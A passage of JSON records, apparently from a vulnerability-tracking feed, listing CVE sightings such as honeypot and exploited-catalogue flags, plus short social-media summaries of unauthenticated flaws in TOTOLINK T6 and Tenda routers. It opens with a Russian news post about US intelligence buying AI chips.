\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0438 \u0431\u044b\u0432\u0448\u0438\u0445 \u0430\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u0438\u0445 \u0447\u0438\u043d\u043e\u0432\u043d\u0438\u043a\u043e\u0432, \u0411\u0435\u043b\u044b\u0439 \u0434\u043e\u043c \u043e\u0434\u043e\u0431\u0440\u0438\u043b \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0441\u0443\u043c\u043c\u0443 $9 \u043c\u043b\u0440\u0434 \u0434\u043b\u044f \u043f\u0440\u0438\u043e\u0431\u0440\u0435\u0442\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u044b\u0445 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u044b\u0445 \u0447\u0438\u043f\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b \u0440\u0430\u0437\u0432\u0435\u0434\u044b\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0441\u043b\u0443\u0436\u0431\u0430\u043c \u0421\u0428\u0410 \u0434\u043b\u044f \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u0441\u0435\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439 \u043d\u043e\u0432\u0435\u0439\u0448\u0438\u0445 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u0438 \u0441 \u0430\u043a\u0446\u0435\u043d\u0442\u043e\u043c \u043d\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u043a\u0438\u0431\u0435\u0440\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439 \u043f\u043e \u0447\u0430\u0441\u0442\u0438 \u0430\u0442\u0430\u043a\u0438 \u0438 \u043e\u0431\u043e\u0440\u043e\u043d\u044b.\n\nNYT \u043f\u0438\u0448\u0443\u0442, \u0447\u0442\u043e \ud83c\uddfa\ud83c\uddf8\u0426\u0420\u0423 \u0438 \ud83c\uddfa\ud83c\uddf8\u0410\u041d\u0411 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u0432 \u043f\u043e\u043b\u043d\u043e\u0439 \u043c\u0435\u0440\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u043d\u043e\u0432\u0435\u0439\u0448\u0438\u0435 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u0438 \u0432 \u0441\u0432\u043e\u0438\u0445 \u0437\u0430\u0441\u0435\u043a\u0440\u0435\u0447\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0445\u0432\u0430\u0442\u043a\u0438 \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u044b\u0445 \u043c\u0438\u043a\u0440\u043e\u0441\u0445\u0435\u043c. \u0414\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0442\u0430\u043a\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u043e\u0432 \u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u0434\u0430\u0442\u0430-\u0446\u0435\u043d\u0442\u0440\u044b, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u044b\u0435 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u043b\u043e\u0441\u0441\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u044a\u0435\u043c\u044b \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u044d\u043d\u0435\u0440\u0433\u0438\u0438 \u0438 \u043e\u0441\u043d\u0430\u0449\u0435\u043d\u043d\u044b\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c\u0438 \u0436\u0438\u0434\u043a\u043e\u0441\u0442\u043d\u043e\u0433\u043e \u043e\u0445\u043b\u0430\u0436\u0434\u0435\u043d\u0438\u044f.\n\n\u041a\u043e\u043d\u0433\u0440\u0435\u0441\u0441 \u0421\u0428\u0410 \u0435\u0449\u0435 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c \u044d\u0442\u043e \u0444\u0438\u043d\u0430\u043d\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435, \u043e\u0434\u043d\u0430\u043a\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044f \u0443\u0436\u0435 \u043f\u0435\u0440\u0435\u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 $800 \u043c\u043b\u043d \u0434\u043b\u044f \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0437\u0430\u043a\u0443\u043f\u043a\u0438 \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043c\u043e\u0449\u043d\u043e\u0441\u0442\u0435\u0439. \u041f\u043e \u043c\u043d\u0435\u043d\u0438\u044e \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043e\u0432, \u0432 \u0431\u0443\u0434\u0443\u0449\u0435\u043c \u0441\u043f\u0435\u0446\u0441\u043b\u0443\u0436\u0431\u0430\u043c \u043d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u0435\u0449\u0435 \u0431\u043e\u043b\u0435\u0435 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u0443\u043c\u043c\u044b. \u0411\u044b\u0432\u0448\u0438\u0439 \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442 \u043f\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 \u0410\u041d\u0411 \u0438 \u0441\u0442\u0430\u0440\u0448\u0438\u0439 \u043d\u0430\u0443\u0447\u043d\u044b\u0439 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a \u043f\u043e \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c \u0418\u0418 \u0432 \u0421\u043e\u0432\u0435\u0442\u0435 \u043f\u043e \u043c\u0435\u0436\u0434\u0443\u043d\u0430\u0440\u043e\u0434\u043d\u044b\u043c \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u044f\u043c \u0412\u0438\u043d\u044c \u041d\u0433\u0443\u0435\u043d \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u043d\u0443\u043b, \u0447\u0442\u043e \u0440\u0430\u0437\u0432\u0435\u0434\u044b\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u043c\u0443 \u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u0443 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u044b\u0435 \u0440\u0443\u0431\u0435\u0436\u0438, \u0430 \u0438\u043c\u0435\u043d\u043d\u043e \u043b\u0443\u0447\u0448\u0438\u0435 \u0418\u0418-\u0447\u0438\u043f\u044b, \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u0438, \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u0442\u0430\u043b\u0430\u043d\u0442\u044b.\n\n\u0413\u043b\u0430\u0432\u0430 \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u0430 \u0411\u0435\u043b\u043e\u0433\u043e \u0434\u043e\u043c\u0430 \u0421\u044c\u044e\u0437\u0438 \u0423\u0430\u0439\u043b\u0441 \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u043b\u0430 \ud83c\udfa9\u0410\u041d\u0411 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u043e\u0439 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u0438 Mythos \u043e\u0442 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Anthropic. \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u0431\u044b\u043b\u043e \u043f\u0440\u0438\u043d\u044f\u0442\u043e \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u041f\u0435\u043d\u0442\u0430\u0433\u043e\u043d \u0440\u0430\u043d\u0435\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043b \u0434\u0430\u043d\u043d\u0443\u044e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044e \u0443\u0433\u0440\u043e\u0437\u043e\u0439 \u0434\u043b\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a.\n\n\u270b @Russian_OSINT", "creation_timestamp": "2026-09-02T06:00:17.592169Z"}, {"uuid": "4dec52b6-f192-4f08-b896-09baafe22219", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5153", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-01)", "content": "", "creation_timestamp": "2026-09-02T10:00:30.595518Z"}, {"uuid": "ec23358b-4c70-4746-9665-84e853356ef0", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5153", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/7b4ab454-d7da-47b7-8de3-083f9b71d5a8", "content": "", "creation_timestamp": "2026-09-02T11:00:28.509193Z"}, {"uuid": "84c9dcd9-504a-406d-9f59-0cd75bbae7da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51728", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mukdoajga32w", "content": "CVE-2026-51728\nThe router's firmware\u2011upload feature does not verify the user who sends the request. An attacker could send a specially crafted file and replace the router\u2019s software, potentially taking control of the network.\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-02T16:20:05.144303Z"}, {"uuid": "feb93635-9781-4235-8812-293404d579f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51723", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mukdoc6gng2p", "content": "CVE-2026-51723\nThe web\u2011based management page of the TOTOLINK T6 router (firmware 4.1.5cu.748_B20211015) does not check who is using the UploadCustomModule function. This lets anyone send a specially crafted request and place\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-02T16:20:06.703262Z"}, {"uuid": "b2557262-8e11-44e2-b5f1-0605859b1556", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51690", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mukea44nhq2o", "content": "CVE-2026-51690\nThe router\u2019s web interface does not properly verify who can change its WAN configuration. An unauthenticated user can send a specially crafted request to the router and alter how it connects to the internet,\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-02T16:30:04.466215Z"}, {"uuid": "b1558725-f821-4ca5-8e6e-a22bb4c9dc9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51687", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mukea5puhu25", "content": "CVE-2026-51687\nThe TOTOLINK T6 router (firmware version 4.1.5cu.748) does not properly check who is sending a request to its configuration page. An attacker who can reach the router on the network can send a specially crafted\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-02T16:30:05.938439Z"}, {"uuid": "a7728e7d-b726-4ce6-8cc2-73f700a12e7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51934", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mukfvrekjv2v", "content": "CVE-2026-51934\nThe Tenda A18 Wi\u2011Fi router, version 15.13.07.09, contains a flaw that lets someone on the network run their own software on the device. This could give an attacker control of the router and the data flowing\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-02T17:00:05.359533Z"}, {"uuid": "a60788c2-004a-4003-a6b7-e1999548f3fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51744", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mukip6i4ug2w", "content": "CVE-2026-51744\nThe TOTOLINK T6 wireless router (firmware version 4.1.5cu.748_B20211015) does not properly check who is allowed to trigger a mesh\u2011network configuration sync. An attacker could send a specially crafted message\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-02T17:50:05.137187Z"}, {"uuid": "e3a4f89c-e18a-406c-9200-9f7b14712b11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51751", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mukip7vfez2y", "content": "CVE-2026-51751\nThe current TOTOLINK T6 router software can be tricked into removing a mesh device and restarting the whole system without any login. This could let someone outside your network disrupt your Wi\u2011Fi coverage or\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-02T17:50:06.482642Z"}, {"uuid": "2af77abf-e044-4feb-be9d-ba3d2fb37bf3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51763", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mukjb32sb42m", "content": "CVE-2026-51763\nThe router\u2019s software lets anyone send a special network message that can kick connected devices off the Wi\u2011Fi. This can happen without any login or permission. Update the router firmware to the latest version\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-02T18:00:05.662800Z"}, {"uuid": "27331c88-e59b-4141-9e24-87ef8110fdd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51760", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mukjb4k5wj25", "content": "CVE-2026-51760\nThe TOTOLINK T6 access point (firmware version 4.1.5cu.748_B20211015) does not properly verify who can request a firmware upgrade. An unauthenticated person can send a crafted MQTT message that makes many\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-02T18:00:07.410608Z"}, {"uuid": "12117f6c-79ce-4320-b3a8-0f2c02911880", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51750", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mukmmdz6bs2t", "content": "CVE-2026-51750\nThe router model TOTOLINK T6 (firmware version 4.1.5cu.748_B20211015) does not verify who is sending a command to change its primary mesh channel. An attacker on the same network could send a specially crafted\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-02T19:00:05.988129Z"}, {"uuid": "e541fd76-be70-4744-b18d-844213e5edc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51757", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mukmmfkj2h22", "content": "CVE-2026-51757\nThe T6 router version 4.1.5 allows anyone on the network to start a firmware download or flashing process on a connected device. This could let an attacker load malicious software or disrupt the device. Update\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-02T19:00:07.154351Z"}, {"uuid": "825eeffc-bf17-4073-b970-9e48f02c69c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51705", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mukn675ps62y", "content": "CVE-2026-51705\nThe router\u2019s web interface does not check who can change the mesh network name, so a stranger on the network can send a special request and rename your mesh entries. This could cause confusion or disrupt your\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-02T19:10:04.855927Z"}, {"uuid": "3a14cdd4-2053-49ca-82ed-987eb9f0cc32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51764", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mukn6asdf72p", "content": "CVE-2026-51764\nThe TOTOLINK T6 router running version 4.1.5cu.748_B20211015 has a weakness that does not require a login before it accepts certain messages. An attacker could send a specially crafted message through the\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-02T19:10:06.008053Z"}, {"uuid": "331156b5-400e-40e3-ada3-3f635d31ad2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51769", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muknq43khm25", "content": "CVE-2026-51769\nThe router model TOTOLINK T6 running version 4.1.5cu.748_B20211015 lets anyone send a specially crafted message to trigger a restart of its cloud update check. This could be used to disrupt update processes or\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-02T19:20:04.933421Z"}, {"uuid": "42bf6b30-20aa-4e50-b74d-250f66d28fa7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51765", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muknq5ifme2w", "content": "CVE-2026-51765\nThe TOTOLINK T6 firmware version 4.1.5 allows anyone on the network to send a specially crafted MQTT message that changes the list of nearby mesh devices. This could let an attacker redirect traffic or disrupt\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-02T19:20:06.433941Z"}, {"uuid": "67e558c1-c356-4d8f-bbef-0f8c3cbe02e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51770", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mukobxxd2d2v", "content": "CVE-2026-51770\nThe TOTOLINK T6 firmware version 4.1.5 allows people without a login to send specially crafted messages that change quality\u2011of\u2011service settings on the device. This could let an attacker prioritize or disrupt\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-02T19:30:04.641803Z"}, {"uuid": "f6ecf395-8230-41d3-bd92-abc61ae15517", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5153", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/cc91554a-e029-4319-90ea-c2f22563c4c8", "content": "", "creation_timestamp": "2026-09-03T01:02:09.941781Z"}, {"uuid": "a9bdbf9b-bce3-4b1c-a58b-5347ffbfbf72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5153", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-02)", "content": "", "creation_timestamp": "2026-09-03T10:00:04.659342Z"}, {"uuid": "0b30534c-c34d-4027-bef6-9d229503d927", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51767", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mumym7grtf2w", "content": "CVE-2026-51767\nThe router's software lets anyone send a special network message that clears its pairing settings and forces it to restart. This can be done without any login, potentially disrupting your network. Update the\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-03T17:40:05.614486Z"}, {"uuid": "8a53f55d-31ec-4847-a149-5af7955a0ba7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51762", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mumymasov622", "content": "CVE-2026-51762\nThe TOTOLINK T6 Wi\u2011Fi system (firmware version 4.1.5cu.748_B20211015) does not properly check who can send certain control messages. An attacker who can connect to your network could erase or refresh the\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-03T17:40:06.905604Z"}, {"uuid": "ac8284ca-9b8c-4c2f-bb32-6c0b3766a27d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51741", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mumz62x5bs2v", "content": "CVE-2026-51741\nThe T6 router firmware version 4.1.5cu.748 allows anyone on the network to send a special request that wipes the device's diagnostic logs. This removes evidence of activity and can hide other problems. Update\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-03T17:50:04.234865Z"}, {"uuid": "c7080178-1a7d-48b1-9bba-a0228898f851", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51747", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mumz64jpu625", "content": "CVE-2026-51747\nThe keepAlive feature in the TOTOLINK T6 firmware (version 4.1.5cu.748) does not properly check who can use it. An attacker who is not logged in can send a specially\u2011crafted message that tricks the router into\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-03T17:50:17.044264Z"}, {"uuid": "06c64571-9c79-4ed6-8b90-f12556fc9b74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51754", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mumzpymnlx2d", "content": "CVE-2026-51754\nThe TOTOLINK T6 router version 4.1.5cu.748 allows anyone on the network to send a special MQTT message that can rewrite the router\u2019s internal list of connected devices. This could let an attacker hide or add\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-03T18:00:05.716007Z"}, {"uuid": "97ecfe4f-df92-4c8d-a534-79422bd557f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5153", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-03)", "content": "", "creation_timestamp": "2026-09-04T10:00:03.095564Z"}, {"uuid": "baa81dd2-d2e5-4584-ad4e-165bab4a5a7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5153", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-04)", "content": "", "creation_timestamp": "2026-09-05T10:00:05.789528Z"}, {"uuid": "83d5e193-c4bc-4b60-9549-775f50c2505d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5153", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "creation_timestamp": "2026-09-06T10:00:03.761578Z"}, {"uuid": "4c2560fa-6f9b-4499-9200-95381852088f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5118", "type": "seen", "source": "Telegram/hZmD1B52vHq6fSvKEDWDKrOWX_CbgCpeltfI-CsbFj8gh80", "content": "", "creation_timestamp": "2026-09-07T08:00:05.411006Z"}, {"uuid": "efdf0dd9-4aaa-4322-9a26-ad0482b62549", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5118", "type": "published-proof-of-concept", "source": "Telegram/hZmD1B52vHq6fSvKEDWDKrOWX_CbgCpeltfI-CsbFj8gh80", "content": "", "creation_timestamp": "2026-09-08T00:00:51.868814Z"}, {"uuid": "0f687d02-341d-4583-8e5e-564b3269bc15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5153", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-07)", "content": "", "creation_timestamp": "2026-09-08T10:00:04.114512Z"}, {"uuid": "a4db472f-b539-40fd-bf7b-a17c35da9a60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5153", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-08)", "content": "", "creation_timestamp": "2026-09-09T10:00:04.075943Z"}, {"uuid": "e0a2f096-9126-4247-946a-74ced67ce4a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5153", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-09)", "content": "", "creation_timestamp": "2026-09-10T10:00:03.720773Z"}, {"uuid": "744d592a-bf6e-4938-9d09-4a198f02403f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mv7gylfsk32x", "content": "CVE-2026-51990 in Sogou Input Method enabled one-click RCE via a crafted sgbiz: link. UNC3569 used the flaw in the wild to deploy the GRAYRABBIT backdoor; Tencent has patched it. #CVE202651990 #GRAYRABBIT #Tencent", "creation_timestamp": "2026-09-11T01:45:27.650198Z"}, {"uuid": "5f925903-2ae1-4f6e-ac7b-263c3d8ad3f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51990", "type": "seen", "source": "https://bsky.app/profile/malwhere.bsky.social/post/3mvaad7oiu22w", "content": "Gen traced the payload to Alibaba Cloud in Hong Kong. A 